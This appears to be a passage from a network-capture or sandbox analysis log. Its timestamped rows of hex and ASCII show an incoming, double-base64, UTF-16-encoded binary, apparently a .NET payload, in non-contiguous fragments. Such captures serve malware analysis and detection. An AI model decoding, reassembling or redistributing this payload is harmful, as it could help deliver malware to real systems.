2021-12-01 09:04:36 UTC	20	IN	Data Raw: 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 Data Ascii: BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
2021-12-01 09:04:36 UTC	21	IN	Data Raw: 00 55 00 55 00 46 00 48 00 59 00 33 00 68 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 78 00 6e 00 55 00 47 00 4e 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 46 00 52 00 51 00 55 00 46 00 4c 00 4d 00 6a 00 68 00 6a 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 55 00 5a 00 42 00 5a 00 30 00 46 00 42 00 51 00 6a 00 49 00 34 00 5a 00 45 00 46 00 42 00 51 00 55 00 74 00 47 00 65 00 47 00 4e 00 61 00 61 00 6c 00 5a 00 6e 00 51 00 55 00 46 00 42 00 52 00 57 00 78 00 47 00 62 00 6b 00 6c 00 43 00 51 00 55 00 46 00 43 00 64 00 32 00 4e 00 73 00 61 00 30 00 46 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 62 00 32 00 6c 00 56 00 57 00 47 00 4e 00 75 00 52 00 55 00 46 00 Data Ascii: UUFHY3hvQUFBb2xnUGNBQUFRb0FRQUFLMjhjQUFBS0N6aUZBZ0FBQjI4ZEFBQUtGeGNaalZnQUFBRWxGbklCQUFCd2Nsa0FBSEIrSGdBQUNpZ2ZBQUFLb2lVWGNuRUF
2021-12-01 09:04:36 UTC	23	IN	Data Raw: 52 00 55 00 64 00 69 00 65 00 55 00 6c 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 68 00 69 00 65 00 56 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 55 00 76 00 5a 00 32 00 4a 00 5a 00 51 00 56 00 46 00 42 00 52 00 32 00 4e 00 35 00 64 00 30 00 46 00 42 00 51 00 58 00 41 00 72 00 4b 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 56 00 58 00 52 00 47 00 65 00 56 00 6f 00 72 00 4f 00 57 00 64 00 42 00 51 00 55 00 4a 00 51 00 4e 00 45 00 63 00 7a 00 64 00 30 00 56 00 42 00 51 00 6d 00 35 00 4e 00 64 00 45 00 46 00 42 00 51 00 55 00 74 00 4b 00 57 00 55 00 51 00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 42 00 53 00 55 00 46 00 42 00 51 00 33 00 52 00 32 00 53 00 6d 00 64 00 46 00 51 00 55 00 4a 00 6f Data Ascii: RUdieUlCQUFZUkJSRUhieVFCQUFZUkJSRUUvZ2JZQVFBR2N5d0FBQXArK0FBQUJDVXRGeVorOWdBQUJQNEczd0VBQm5NdEFBQUtKWUQ0QUFBRUtBSUFBQ3R2SmdFQUJo
2021-12-01 09:04:36 UTC	24	IN	Data Raw: 00 55 00 46 00 4e 00 5a 00 30 00 4e 00 42 00 51 00 55 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 36 00 5a 00 30 00 6c 00 42 00 51 00 55 00 35 00 52 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 00 51 00 55 00 4a 00 6e 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 6e 00 51 00 55 00 46 00 46 00 57 00 45 00 30 00 79 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 44 00 62 00 7a 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 00 46 00 70 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 Data Ascii: UFNZ0NBQUFLQUFBQUFBQUFBQUFBQUFBR0FBQUF6Z0lBQU5RQ0FBQURBQUFBQ2dBQUFSc3dCQUJnQVFBQUFnQUFFWE0yQUFBS0NnSWZDbzFhQUFBQkpkRFpBQUFFS0Rj
2021-12-01 09:04:36 UTC	25	IN	Data Raw: 79 00 38 00 76 00 4c 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 52 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55 00 33 00 42 00 43 00 57 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 43 00 52 00 6b 00 46 00 42 00 51 00 55 00 46 00 30 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 48 00 4f 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 55 00 46 00 42 00 51 00 58 00 56 00 52 00 51 00 55 00 46 00 42 00 52 00 32 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 Data Ascii: y8vLzNnTW0zZ0RlQXliZUFBWXFDU3BCWkFBQUFBQUFBRzhBQUFCRkFBQUF0QUFBQUFNQUFBQVBBQUFCQWdBQUFHOEFBQUJLQUFBQXVRQUFBR29BQUFBQUFBQUFBQUFBQ
2021-12-01 09:04:36 UTC	27	IN	Data Raw: 00 56 00 47 00 53 00 48 00 64 00 74 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4d 00 58 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4a 00 4c 00 30 00 46 00 6e 00 51 00 6e 00 64 00 69 00 65 00 56 00 56 00 42 00 51 00 55 00 46 00 77 00 64 00 6b 00 39 00 42 00 52 00 55 00 46 00 43 00 61 00 45 00 56 00 49 00 52 00 56 00 46 00 52 00 55 00 6b 00 4a 00 53 00 4f 00 45 00 78 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 4d 00 4f 00 45 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 Data Ascii: VGSHdtTldnQUFBU1hRMXdBQUJDZzNBQUFLY3pnQUFBcHZyUUFBQm5JL0FnQndieVVBQUFwdk9BRUFCaEVIRVFRUkJSOExqVm9BQUFFbDBMOEFBQVFvTndBQUNuTTRBQ
2021-12-01 09:04:36 UTC	28	IN	Data Raw: 4e 00 42 00 51 00 55 00 45 00 35 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 59 00 6b 00 31 00 42 00 57 00 55 00 46 00 54 00 5a 00 30 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 43 00 52 00 6e 00 70 00 53 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 76 00 51 00 30 00 68 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 45 00 55 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 61 00 57 00 63 00 31 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 33 00 59 00 32 00 39 00 50 00 5a 00 30 00 46 00 42 00 51 00 32 00 6b 00 77 00 53 00 45 00 4a 00 6e 00 4d 00 32 Data Ascii: NBQUE5QWdBQUF3QUFBQThBQUFFYk1BWUFTZ0VBQUFRQUFCRnpSZ0FBQ2dvQ0hvMWFBQUFCSmREUEFBQUVLRGNBQUFwek9BQUFDaWc1QUFBS0N3Y29PZ0FBQ2kwSEJnM2
2021-12-01 09:04:36 UTC	29	IN	Data Raw: 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 55 00 4a 00 42 00 51 00 55 00 45 00 72 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 51 00 77 00 51 00 6b 00 46 00 42 00 51 00 6b 00 52 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 56 00 51 00 55 00 56 00 42 00 52 00 55 00 46 00 42 00 51 00 56 00 56 00 42 00 51 00 55 00 4a 00 47 00 65 00 6c 00 4e 00 42 00 51 00 55 00 46 00 44 00 5a 00 32 00 39 00 44 00 53 00 47 00 38 00 78 00 59 00 55 00 Data Ascii: BRUFBQUFBT1FBQUFBVUJBQUErQVFBQUF3QUFBQThBQUFFQUFBQUFCZ0FBQUQwQkFBQkRBUUFBQXdBQUFBOEFBQUViTUFVQUVBRUFBQVVBQUJGelNBQUFDZ29DSG8xYU
2021-12-01 09:04:36 UTC	31	IN	Data Raw: 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 6b 00 46 00 42 00 51 00 55 00 70 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4e 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 6c 00 42 00 51 00 55 00 4a 00 47 00 4b 00 30 00 68 00 6e 00 51 00 55 00 46 00 44 00 5a 00 32 00 39 00 44 00 52 00 6d 00 30 00 34 00 62 00 6b 00 46 00 42 00 51 00 55 00 74 00 49 00 4d 00 31 00 6c 00 36 00 52 00 32 00 64 00 4a 00 57 00 47 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 57 00 39 00 6d 00 54 00 56 00 52 00 4e 00 55 00 45 00 46 00 35 00 61 00 45 00 78 00 42 00 51 00 55 00 46 00 4c 00 51 00 57 00 6c Data Ascii: FQUFBQUFCZ0FBQUFNQkFBQUpBUUFBQXdBQUFBOEFBQUViTUFNQVFBQUFBQVlBQUJGK0hnQUFDZ29DRm04bkFBQUtIM1l6R2dJWGJ5Y0FBQW9mTVRNUEF5aExBQUFLQWl
2021-12-01 09:04:36 UTC	32	IN	Data Raw: 00 51 00 32 00 64 00 7a 00 53 00 45 00 74 00 45 00 62 00 30 00 46 00 42 00 51 00 57 00 39 00 7a 00 52 00 33 00 64 00 6a 00 62 00 33 00 6c 00 6e 00 51 00 55 00 46 00 43 00 61 00 57 00 64 00 4a 00 51 00 55 00 46 00 42 00 63 00 6d 00 49 00 35 00 52 00 55 00 4a 00 42 00 51 00 56 00 70 00 32 00 4d 00 55 00 46 00 46 00 51 00 55 00 4a 00 6e 00 63 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 34 00 30 00 52 00 45 00 70 00 30 00 4e 00 45 00 46 00 43 00 61 00 57 00 39 00 42 00 51 00 55 00 46 00 43 00 51 00 6b 00 35 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 7a 00 51 00 6b 00 46 00 42 00 51 00 56 00 6c 00 42 00 51 00 55 00 46 00 42 00 53 00 58 00 64 00 46 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 Data Ascii: Q2dzSEtEb0FBQW9zR3djb3lnQUFCaWdJQUFBcmI5RUJBQVp2MUFFQUJncmVBeWJlQU40REp0NEFCaW9BQUFCQk5BQUFBQUFBQUFzQkFBQVlBQUFBSXdFQUFBTUFBQUF
2021-12-01 09:04:36 UTC	33	IN	Data Raw: 59 00 6a 00 46 00 72 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 58 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 33 00 63 00 6c 00 42 00 42 00 61 00 48 00 5a 00 45 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 52 00 57 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 58 00 4e 00 42 00 51 00 55 00 46 00 5a 00 54 00 6b 00 4e 00 58 00 4f 00 55 00 6c 00 42 00 55 00 55 00 46 00 48 00 59 00 32 00 6c 00 7a 00 51 00 30 00 46 00 49 00 51 00 57 00 39 00 51 00 55 00 55 00 46 00 42 00 51 00 32 00 6c 00 33 00 57 00 6b 00 4e 00 58 00 4f 00 55 00 6c 00 42 00 55 00 55 00 46 00 48 00 59 00 32 00 6c 00 7a 00 51 00 30 00 46 00 49 00 51 00 57 00 39 00 51 00 55 00 55 00 46 00 42 00 51 00 32 00 6c 00 33 00 53 00 45 00 4a 00 6e 00 62 00 48 00 5a 00 51 00 5a 00 30 00 46 00 42 Data Ascii: YjFrQUFBcHZXd0FBQ2d3clBBaHZEd0FBQ25RWEFBQUJLQXNBQUFZTkNXOUlBUUFHY2lzQ0FIQW9QUUFBQ2l3WkNXOUlBUUFHY2lzQ0FIQW9QUUFBQ2l3SEJnbHZQZ0FB
2021-12-01 09:04:36 UTC	34	IN	Data Raw: 00 57 00 64 00 48 00 59 00 6a 00 42 00 6e 00 51 00 6b 00 46 00 42 00 57 00 58 00 4a 00 43 00 57 00 45 00 6c 00 79 00 51 00 57 00 64 00 43 00 64 00 32 00 49 00 77 00 61 00 30 00 4a 00 42 00 51 00 56 00 6c 00 48 00 51 00 6d 00 30 00 35 00 53 00 30 00 46 00 52 00 51 00 55 00 64 00 4c 00 51 00 31 00 6c 00 42 00 51 00 55 00 46 00 76 00 64 00 45 00 4e 00 42 00 57 00 6e 00 5a 00 54 00 5a 00 30 00 56 00 42 00 51 00 6d 00 6c 00 7a 00 52 00 6d 00 4e 00 70 00 63 00 30 00 4e 00 42 00 53 00 45 00 4a 00 32 00 55 00 33 00 64 00 46 00 51 00 55 00 4a 00 6e 00 57 00 55 00 64 00 69 00 4d 00 48 00 64 00 43 00 51 00 55 00 46 00 5a 00 62 00 30 00 70 00 6e 00 51 00 55 00 46 00 44 00 61 00 54 00 42 00 4a 00 51 00 6d 00 30 00 35 00 54 00 55 00 46 00 52 00 51 00 55 00 64 00 4c 00 Data Ascii: WdHYjBnQkFBWXJCWElyQWdCd2Iwa0JBQVlHQm05S0FRQUdLQ1lBQUFvdENBWnZTZ0VBQmlzRmNpc0NBSEJ2U3dFQUJnWUdiMHdCQUFZb0pnQUFDaTBJQm05TUFRQUdL
2021-12-01 09:04:36 UTC	36	IN	Data Raw: 55 00 4a 00 42 00 51 00 56 00 6c 00 73 00 52 00 56 00 46 00 53 00 65 00 6c 00 70 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6c 00 73 00 51 00 55 00 46 00 42 00 53 00 32 00 4a 00 35 00 55 00 55 00 4a 00 42 00 51 00 56 00 6c 00 73 00 52 00 56 00 46 00 52 00 62 00 30 00 52 00 6e 00 51 00 55 00 46 00 43 00 62 00 6b 00 35 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 4a 00 35 00 64 00 30 00 4a 00 42 00 51 00 56 00 6c 00 73 00 59 00 33 00 70 00 5a 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 4b 00 5a 00 30 00 56 00 42 00 51 00 6d 00 6c 00 57 00 65 00 6c 00 4a 00 6e 00 51 00 55 00 46 00 44 00 62 00 54 00 68 00 76 00 51 00 56 00 46 00 42 00 52 00 30 00 70 00 59 00 54 00 6b 00 6c 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6c 00 76 00 51 00 6b 00 46 00 42 00 57 Data Ascii: UJBQVlsRVFSelpBQUFDbTlsQUFBS2J5UUJBQVlsRVFRb0RnQUFCbk5tQUFBS2J5d0JBQVlsY3pZQUFBcHZKZ0VBQmlWelJnQUFDbThvQVFBR0pYTklBQUFLYnlvQkFBW
2021-12-01 09:04:36 UTC	37	IN	Data Raw: 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 59 00 77 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 50 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 64 00 30 00 46 00 52 00 51 00 55 00 64 00 46 00 64 00 31 00 6c 00 53 00 51 00 6d 00 64 00 6e 00 55 00 6b 00 4a 00 43 00 63 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 59 00 55 00 54 00 5a 00 33 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 63 00 6c 00 46 00 42 00 51 00 55 00 4a 00 74 00 4f 00 44 00 64 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 70 00 4a 00 51 00 6b 00 46 00 42 00 57 00 56 00 4a 00 43 00 5a 00 32 00 64 00 53 00 51 00 6b 00 4a 00 78 00 54 00 Data Ascii: NpZ2ZBQUFLYjYwQUFBWnZPd0FBQ25Nd0FRQUdFd1lSQmdnUkJCcU5XZ0FBQVNYUTZ3QUFCQ2czQUFBS2N6Z0FBQXB2clFBQUJtODdBQUFLYnpJQkFBWVJCZ2dSQkJxT
2021-12-01 09:04:36 UTC	39	IN	Data Raw: 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 00 55 00 55 00 4a 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 46 00 57 00 44 00 52 00 6c 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 44 00 62 00 7a 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 51 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 6c 00 6f 00 61 00 6b 00 46 00 42 00 51 00 55 00 74 00 6d 00 61 00 44 00 52 00 42 00 51 00 55 00 46 00 77 00 64 00 6b 00 68 00 33 00 51 00 55 00 46 00 44 00 61 00 45 00 46 00 42 00 51 00 57 00 68 00 6c 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 56 00 58 00 53 00 44 Data Ascii: dBQUFSc3dCUUJ6QUFBQURnQUFFWDRlQUFBS0NnSWZDbzFhQUFBQkpkQ29BQUFFS0RjQUFBcHpPQUFBQ2loakFBQUtmaDRBQUFwdkh3QUFDaEFBQWhlTldnQUFBU1VXSD
2021-12-01 09:04:36 UTC	40	IN	Data Raw: 00 76 00 51 00 55 00 46 00 42 00 53 00 30 00 78 00 52 00 59 00 30 00 64 00 45 00 54 00 6a 00 4a 00 6a 00 51 00 56 00 46 00 42 00 51 00 55 00 4a 00 34 00 4f 00 46 00 6c 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 50 00 62 00 30 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 5a 00 7a 00 52 00 45 00 46 00 49 00 51 00 69 00 74 00 49 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 6e 00 5a 00 6b 00 46 00 42 00 51 00 55 00 74 00 69 00 4d 00 6d 00 74 00 42 00 51 00 55 00 46 00 76 00 54 00 6b 00 5a 00 6f 00 54 00 55 00 56 00 50 00 52 00 6c 00 6c 00 43 00 51 00 55 00 46 00 42 00 53 00 6b 00 56 00 52 00 55 00 32 00 46 00 69 00 4d 00 6d 00 Data Ascii: vQUFBS0xRY0dETjJjQVFBQUJ4OFlqVm9BQUFFbDBPb0FBQVFvTndBQUNuTTRBQUFLY3ZzREFIQitIZ0FBQ2lnZkFBQUtiMmtBQUFvTkZoTUVPRllCQUFBSkVRU2FiMm
2021-12-01 09:04:36 UTC	41	IN	Data Raw: 46 00 55 00 56 00 6c 00 59 00 56 00 30 00 4a 00 4e 00 52 00 30 00 56 00 52 00 57 00 56 00 4a 00 43 00 57 00 54 00 56 00 77 00 55 00 44 00 68 00 51 00 4b 00 79 00 38 00 76 00 4f 00 46 00 4a 00 43 00 51 00 6d 00 52 00 5a 00 52 00 58 00 64 00 52 00 55 00 6b 00 4a 00 42 00 62 00 55 00 39 00 68 00 56 00 43 00 74 00 6e 00 4c 00 33 00 59 00 76 00 4c 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 64 00 6e 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 33 00 56 00 42 00 51 00 55 00 46 00 42 00 53 00 57 00 64 00 46 00 51 00 55 00 46 00 4f 00 51 00 55 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46 Data Ascii: FUVlYV0JNR0VRWVJCWTVwUDhQKy8vOFJCQmRZRXdRUkJBbU9hVCtnL3YvLzNnTW0zZ0FHS2dncUFBQUFRVFFBQUFBQUFBQ3VBQUFBSWdFQUFOQUJBQUFEQUFBQUNnQUF
2021-12-01 09:04:36 UTC	43	IN	Data Raw: 00 57 00 55 00 46 00 6a 00 53 00 45 00 70 00 61 00 51 00 6d 00 64 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51 00 55 00 4e 00 70 00 61 00 6d 00 4a 00 42 00 51 00 55 00 46 00 48 00 53 00 30 00 46 00 33 00 51 00 55 00 46 00 44 00 63 00 30 00 52 00 69 00 4c 00 33 00 4e 00 43 00 51 00 55 00 46 00 5a 00 63 00 58 00 70 00 6e 00 53 00 57 00 39 00 47 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4b 00 64 00 45 00 4a 00 6e 00 51 00 6e 00 64 00 6a 00 63 00 32 00 4e 00 48 00 51 00 55 00 68 00 43 00 4b 00 30 00 68 00 6e 00 51 00 55 00 46 00 44 00 61 00 57 00 64 00 6d 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 4f 00 63 00 30 00 46 00 42 00 51 00 56 00 6c 00 76 00 52 00 46 00 46 00 42 00 51 00 55 00 74 00 Data Ascii: WUFjSEpaQmdCd2ZoNEFBQW9vSHdBQUNpamJBQUFHS0F3QUFDc0RiL3NCQUFZcXpnSW9GUUFBQm5KdEJnQndjc2NHQUhCK0hnQUFDaWdmQUFBS0tOc0FBQVlvRFFBQUt
2021-12-01 09:04:36 UTC	44	IN	Data Raw: 57 00 6b 00 4e 00 43 00 57 00 57 00 5a 00 46 00 51 00 32 00 68 00 32 00 51 00 55 00 46 00 42 00 53 00 30 00 4a 00 34 00 57 00 55 00 70 00 47 00 5a 00 32 00 56 00 50 00 59 00 56 00 46 00 70 00 54 00 32 00 46 00 57 00 61 00 32 00 39 00 69 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 56 00 45 00 46 00 42 00 51 00 55 00 64 00 42 00 64 00 31 00 6c 00 56 00 51 00 31 00 46 00 6f 00 64 00 6b 00 6c 00 42 00 51 00 55 00 46 00 43 00 61 00 45 00 31 00 46 00 4d 00 32 00 64 00 56 00 62 00 54 00 4e 00 6e 00 51 00 56 00 56 00 4c 00 61 00 45 00 56 00 46 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 47 00 64 00 43 00 61 00 32 00 64 00 6e 00 51 00 55 00 52 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a Data Ascii: WkNCWWZFQ2h2QUFBS0J4WUpGZ2VPYVFpT2FWa29id0FBQ25NVEFBQUdBd1lVQ1FodklBQUFCaE1FM2dVbTNnQVVLaEVFS2dBQUFSQUFBQUFBSGdCa2dnQUREd0FBQVJz
2021-12-01 09:04:36 UTC	45	IN	Data Raw: 00 6b 00 4a 00 5a 00 62 00 30 00 5a 00 6e 00 51 00 55 00 46 00 43 00 61 00 58 00 64 00 48 00 59 00 7a 00 4e 00 46 00 51 00 55 00 46 00 42 00 63 00 44 00 5a 00 4c 00 53 00 46 00 56 00 42 00 51 00 55 00 46 00 76 00 52 00 6d 00 49 00 7a 00 51 00 55 00 46 00 42 00 51 00 57 00 39 00 4d 00 51 00 57 00 64 00 61 00 65 00 57 00 35 00 33 00 5a 00 30 00 46 00 6a 00 51 00 57 00 4e 00 49 00 61 00 6d 00 31 00 72 00 56 00 30 00 74 00 43 00 63 00 30 00 46 00 42 00 51 00 56 00 6c 00 7a 00 51 00 6d 00 35 00 4f 00 65 00 45 00 46 00 42 00 51 00 55 00 74 00 6c 00 5a 00 31 00 6c 00 78 00 52 00 58 00 70 00 42 00 53 00 30 00 46 00 48 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 57 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 6e 00 54 00 6e 00 6c 00 31 00 55 00 57 00 64 00 42 00 Data Ascii: kJZb0ZnQUFCaXdHYzNFQUFBcDZLSFVBQUFvRmIzQUFBQW9MQWdaeW53Z0FjQWNIam1rV0tCc0FBQVlzQm5OeEFBQUtlZ1lxRXpBS0FHOEFBQUFWQUFBUkFnTnl1UWdB
2021-12-01 09:04:36 UTC	47	IN	Data Raw: 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 69 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 4b 00 64 00 6d 00 4e 00 42 00 51 00 55 00 46 00 44 00 5a 00 30 00 31 00 46 00 53 00 30 00 4e 00 6a 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 5a 00 55 00 55 00 46 00 42 00 51 00 32 00 6c 00 76 00 51 00 55 00 46 00 43 00 63 00 33 00 64 00 42 00 64 00 30 00 46 00 6b 00 51 00 55 00 46 00 42 00 51 00 55 00 56 00 33 00 51 00 55 00 46 00 46 00 55 00 55 00 6c 00 7a 00 51 00 6b 00 46 00 4c 00 54 00 30 00 78 00 52 00 55 00 56 00 56 00 44 00 64 00 44 00 52 00 52 00 51 00 57 00 64 00 52 00 52 00 45 00 74 00 49 00 61 00 30 00 46 00 42 00 51 00 57 00 39 00 4c 00 4d 00 32 00 64 00 56 00 62 00 55 00 5a 00 42 00 63 00 6d 00 56 00 42 00 51 Data Ascii: UFLY3pnQUFBb29iZ0FBQ2dKdmNBQUFDZ01FS0NjQUFBWnZZUUFBQ2lvQUFCc3dBd0FkQUFBQUV3QUFFUUlzQkFLT0xRUVVDdDRRQWdRREtIa0FBQW9LM2dVbUZBcmVBQ
